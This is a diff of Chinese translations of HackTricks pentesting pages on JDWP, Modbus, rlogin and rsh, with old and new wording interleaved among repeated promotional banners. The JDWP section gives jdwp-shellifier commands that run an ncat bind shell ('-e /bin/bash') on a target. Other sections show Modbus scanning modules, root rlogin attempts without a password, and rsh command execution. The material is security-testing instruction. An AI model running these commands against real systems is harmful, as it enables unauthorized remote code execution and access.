学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
其他支持HackTricks的方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,24 +1,25 @@
|
|||
# 渗透 JDWP - Java Debug Wire Protocol
|
||||
# Pentesting JDWP - Java Debug Wire Protocol
|
||||
|
||||
{% hint style="success" %}
|
||||
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习 AWS 黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS 红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
支持 HackTricks 的其他方式:
|
||||
|
||||
* 如果您想在 HackTricks 中看到您的**公司广告**或**下载 PDF 版的 HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live) 上 **关注**我们。
|
||||
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来**分享您的黑客技巧**。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## 利用
|
||||
|
||||
JDWP 利用取决于**协议缺乏身份验证和加密**。通常在**端口 8000**上找到,但也可能在其他端口上。通过向目标端口发送“JDWP-Handshake”进行初始连接。如果存在 JDWP 服务,它会以相同的字符串回复,确认其存在。这个握手作为一种指纹识别方法,用于识别网络上的 JDWP 服务。
|
||||
JDWP 利用依赖于 **协议缺乏认证和加密**。它通常在 **8000 端口**上找到,但其他端口也是可能的。初始连接通过向目标端口发送 "JDWP-Handshake" 来建立。如果 JDWP 服务处于活动状态,它会以相同的字符串响应,确认其存在。此握手作为一种指纹识别方法,用于识别网络上的 JDWP 服务。
|
||||
|
||||
在进程识别方面,搜索 Java 进程中的字符串“jdwk”可能表明存在活动的 JDWP 会话。
|
||||
在进程识别方面,在 Java 进程中搜索字符串 "jdwk" 可以指示一个活动的 JDWP 会话。
|
||||
|
||||
首选工具是 [jdwp-shellifier](https://github.com/hugsy/jdwp-shellifier)。您可以使用不同的参数:
|
||||
```bash
|
||||
|
@ -26,42 +27,42 @@ JDWP 利用取决于**协议缺乏身份验证和加密**。通常在**端口 80
|
|||
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 --cmd 'ncat -l -p 1337 -e /bin/bash' #Exec something
|
||||
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 --break-on 'java.lang.String.indexOf' --cmd 'ncat -l -p 1337 -e /bin/bash' #Uses java.lang.String.indexOf as breakpoint instead of java.net.ServerSocket.accept
|
||||
```
|
||||
我发现使用`--break-on 'java.lang.String.indexOf'`使得利用更加**稳定**。如果你有机会上传一个后门到主机并执行它而不是执行一个命令,那么利用将会更加稳定。
|
||||
我发现使用 `--break-on 'java.lang.String.indexOf'` 使得利用更加 **稳定**。如果你有机会将后门上传到主机并执行它,而不是执行命令,利用将会更加稳定。
|
||||
|
||||
## 更多细节
|
||||
|
||||
**这是[https://ioactive.com/hacking-java-debug-wire-protocol-or-how/](https://ioactive.com/hacking-java-debug-wire-protocol-or-how/)的摘要**。查看以获取更多细节。
|
||||
**这是 [https://ioactive.com/hacking-java-debug-wire-protocol-or-how/](https://ioactive.com/hacking-java-debug-wire-protocol-or-how/) 的摘要**。请查看以获取更多细节。
|
||||
|
||||
1. **JDWP 概述**:
|
||||
- 这是一个基于数据包的网络二进制协议,主要是同步的。
|
||||
- 缺乏身份验证和加密,使其在暴露于敌对网络时容易受到攻击。
|
||||
1. **JDWP 概述**:
|
||||
- 这是一种基于数据包的网络二进制协议,主要是同步的。
|
||||
- 缺乏身份验证和加密,使其在暴露于恶意网络时容易受到攻击。
|
||||
|
||||
2. **JDWP 握手**:
|
||||
- 使用简单的握手过程来启动通信。调试器(客户端)和被调试者(服务器)之间交换一个14个字符的ASCII字符串“JDWP-Handshake”。
|
||||
2. **JDWP 握手**:
|
||||
- 使用简单的握手过程来启动通信。调试器(客户端)和被调试程序(服务器)之间交换一个14个字符的ASCII字符串“JDWP-Handshake”。
|
||||
|
||||
3. **JDWP 通信**:
|
||||
3. **JDWP 通信**:
|
||||
- 消息具有简单的结构,包含长度、ID、标志和命令集等字段。
|
||||
- 命令集的值范围从0x40到0x80,代表不同的操作和事件。
|
||||
- 命令集值范围从 0x40 到 0x80,表示不同的操作和事件。
|
||||
|
||||
4. **利用**:
|
||||
- JDWP允许加载和调用任意类和字节码,存在安全风险。
|
||||
- 该文章详细介绍了一个利用过程,包括获取Java运行时引用、设置断点和调用方法等五个步骤。
|
||||
4. **利用**:
|
||||
- JDWP 允许加载和调用任意类和字节码,带来安全风险。
|
||||
- 文章详细描述了一个包含五个步骤的利用过程,包括获取 Java 运行时引用、设置断点和调用方法。
|
||||
|
||||
5. **实际利用**:
|
||||
- 尽管存在潜在的防火墙保护,JDWP服务在现实世界的场景中是可发现和可利用的,如在ShodanHQ和GitHub等平台上的搜索所示。
|
||||
- 该利用脚本已针对各种JDK版本进行测试,且与平台无关,提供可靠的远程代码执行(RCE)。
|
||||
5. **现实生活中的利用**:
|
||||
- 尽管可能有防火墙保护,JDWP 服务在现实场景中仍然可被发现和利用,正如在 ShodanHQ 和 GitHub 上的搜索所示。
|
||||
- 利用脚本已在各种 JDK 版本上进行了测试,并且是平台无关的,提供可靠的远程代码执行(RCE)。
|
||||
|
||||
6. **安全影响**:
|
||||
- 互联网上存在开放的JDWP服务,强调了需要定期进行安全审查、在生产环境中禁用调试功能以及正确配置防火墙的必要性。
|
||||
6. **安全影响**:
|
||||
- 互联网上开放的 JDWP 服务的存在强调了定期进行安全审查、在生产环境中禁用调试功能以及适当的防火墙配置的必要性。
|
||||
|
||||
### **参考资料:**
|
||||
### **参考文献:**
|
||||
|
||||
* [[https://ioactive.com/hacking-java-debug-wire-protocol-or-how/](https://ioactive.com/hacking-java-debug-wire-protocol-or-how/)]
|
||||
* [https://github.com/IOActive/jdwp-shellifier](https://github.com/IOActive/jdwp-shellifier)
|
||||
* [http://docs.oracle.com/javase/7/docs/technotes/guides/jpda/architecture.html](http://docs.oracle.com/javase/7/docs/technotes/guides/jpda/architecture.html)
|
||||
* http://www.secdev.org/projects/scapy(已不再活跃)
|
||||
* http://www.secdev.org/projects/scapy(不再活跃)
|
||||
* [http://www.shodanhq.com/search?q=JDWP-HANDSHAKE](http://www.shodanhq.com/search?q=JDWP-HANDSHAKE)
|
||||
* http://www.hsc-news.com/archives/2013/000109.html(已不再活跃)
|
||||
* http://www.hsc-news.com/archives/2013/000109.html (不再活跃)
|
||||
* [http://packetstormsecurity.com/files/download/122525/JDWP-exploitation.txt](http://packetstormsecurity.com/files/download/122525/JDWP-exploitation.txt)
|
||||
* https://github.com/search?q=-Xdebug+-Xrunjdwp\&type=Code\&ref=searchresults
|
||||
* [http://docs.oracle.com/javase/6/docs/api/java/lang/Runtime.html](http://docs.oracle.com/javase/6/docs/api/java/lang/Runtime.html)
|
||||
|
@ -69,16 +70,17 @@ JDWP 利用取决于**协议缺乏身份验证和加密**。通常在**端口 80
|
|||
* [http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html](http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html)
|
||||
* [http://nmap.org/nsedoc/scripts/jdwp-exec.html](http://nmap.org/nsedoc/scripts/jdwp-exec.html)
|
||||
|
||||
{% hint style="success" %}
|
||||
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS Family**](https://opensea.io/collection/the-peass-family),我们的独家[NFTs](https://opensea.io/collection/the-peass-family)系列
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**上关注**我们。
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,21 +1,22 @@
|
|||
{% hint style="success" %}
|
||||
学习与实践 AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
其他支持HackTricks的方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
|
||||
# 基本信息
|
||||
|
||||
1979年,由Modicon开发了**Modbus协议**,作为一种消息结构。其主要用途涉及在主从/客户端-服务器模型下促进智能设备之间的通信。该协议在实现设备之间高效交换数据方面发挥着至关重要的作用。
|
||||
在1979年,**Modbus协议**由Modicon开发,作为一种消息结构。它的主要用途是促进智能设备之间的通信,采用主从/客户端-服务器模型。该协议在使设备高效交换数据方面发挥着至关重要的作用。
|
||||
|
||||
**默认端口:** 502
|
||||
```
|
||||
|
@ -28,16 +29,17 @@ nmap --script modbus-discover -p 502 <IP>
|
|||
msf> use auxiliary/scanner/scada/modbusdetect
|
||||
msf> use auxiliary/scanner/scada/modbus_findunitid
|
||||
```
|
||||
{% hint style="success" %}
|
||||
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
其他支持HackTricks的方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索我们的独家[**NFTs**]收藏品(https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,18 +1,19 @@
|
|||
# 513 - 渗透测试 Rlogin
|
||||
# 513 - Pentesting Rlogin
|
||||
|
||||
{% hint style="success" %}
|
||||
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习 AWS 黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS 红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
支持 HackTricks 的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在 HackTricks 中做广告**或**下载 PDF 版的 HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -21,7 +22,7 @@
|
|||
|
||||
## 基本信息
|
||||
|
||||
过去,**rlogin** 被广泛用于远程管理任务。然而,由于对其安全性的担忧,它在很大程度上已被 **slogin** 和 **ssh** 取代。这些更新的方法提供了更强大的远程连接安全性。
|
||||
在过去,**rlogin** 被广泛用于远程管理任务。然而,由于安全性方面的担忧,它在很大程度上被 **slogin** 和 **ssh** 所取代。这些较新的方法为远程连接提供了增强的安全性。
|
||||
|
||||
**默认端口:** 513
|
||||
```
|
||||
|
@ -33,7 +34,7 @@ PORT STATE SERVICE
|
|||
# Install client
|
||||
apt-get install rsh-client
|
||||
```
|
||||
您可以使用以下命令尝试登录到一个远程主机,该主机**无需密码**即可访问。尝试使用**root**作为用户名:
|
||||
您可以使用以下命令尝试**登录**到一个**不需要密码**访问的远程主机。尝试使用**root**作为用户名:
|
||||
```bash
|
||||
rlogin <IP> -l <username>
|
||||
```
|
||||
|
@ -48,16 +49,17 @@ find / -name .rhosts
|
|||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
||||
{% hint style="success" %}
|
||||
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 **上关注我们** [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,24 +1,25 @@
|
|||
# 514 - 渗透测试 Rsh
|
||||
# 514 - Pentesting Rsh
|
||||
|
||||
{% hint style="success" %}
|
||||
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习 AWS 黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS 红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
支持 HackTricks 的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在 HackTricks 中做广告**或**下载 PDF 版的 HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live) 上**关注**我们。
|
||||
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## 基本信息
|
||||
|
||||
对于认证,**Rsh** 使用 **.rhosts** 文件以及 **/etc/hosts.equiv**。认证依赖于 IP 地址和域名系统(DNS)。易于欺骗 IP 地址,尤其是在本地网络上,这是一个重大漏洞。
|
||||
对于认证,**.rhosts** 文件和 **/etc/hosts.equiv** 被 **Rsh** 使用。认证依赖于 IP 地址和域名系统 (DNS)。伪造 IP 地址的容易性,尤其是在本地网络上,是一个显著的漏洞。
|
||||
|
||||
此外,**.rhosts** 文件通常放置在用户的主目录中,这些主目录通常位于网络文件系统(NFS)卷上。
|
||||
此外,**.rhosts** 文件通常放置在用户的主目录中,这些目录通常位于网络文件系统 (NFS) 卷上。
|
||||
|
||||
**默认端口**:514
|
||||
|
||||
|
@ -29,21 +30,22 @@ rsh <IP> -l domain\user <Command>
|
|||
rsh domain/user@<IP> <Command>
|
||||
rsh domain\\user@<IP> <Command>
|
||||
```
|
||||
### **暴力破解**
|
||||
### [**暴力破解**](../generic-methodologies-and-resources/brute-force.md#rsh)
|
||||
|
||||
## 参考资料
|
||||
## 参考
|
||||
* [https://www.ssh.com/ssh/rsh](https://www.ssh.com/ssh/rsh)
|
||||
|
||||
{% hint style="success" %}
|
||||
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
